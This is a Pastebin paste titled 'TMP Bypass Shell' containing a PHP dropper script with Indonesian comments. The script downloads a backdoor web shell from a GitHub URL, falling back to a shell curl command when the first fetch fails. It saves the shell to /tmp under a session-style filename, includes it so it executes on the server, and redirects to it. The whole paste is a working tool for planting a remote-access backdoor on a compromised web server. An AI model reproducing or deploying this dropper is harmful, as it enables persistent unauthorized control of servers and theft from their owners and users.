daily pastebin goal
76%
SHARE
TWEET

TMP Bypass Shell

a guest Nov 2nd, 2017 417 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $URL = 'https://raw.githubusercontent.com/secghost/My-Shells-backdoor/master/m1n3.php'; # bisa kalian ganti
  3. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php'; # Jangan Edit bangian sini kalo ndak mau error
  4.  
  5. function M() {
  6.     $FGT = @file_get_contents($GLOBALS['URL']);
  7.     if(!$FGT) {
  8.         echo `curl -k $(echo {$GLOBALS['URL']} | base64 -d) > {$GLOBALS['TMP']}`;
  9.     } else {
  10.         $HANDLE = fopen($GLOBALS['TMP'], 'w');
  11.         fwrite($HANDLE, $FGT);
  12.         fclose($HANDLE);
  13.     }
  14.     echo '<script>window.location="?m1n3";</script>';
  15. }
  16.  
  17. if(file_exists($TMP)) {
  18.     if(filesize($TMP) === 0) {
  19.         unlink($TMP);
  20.         M();
  21.     } else {
  22.         include($TMP);
  23.     }
  24. } else {
  25.     M();
  26. }
  27. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top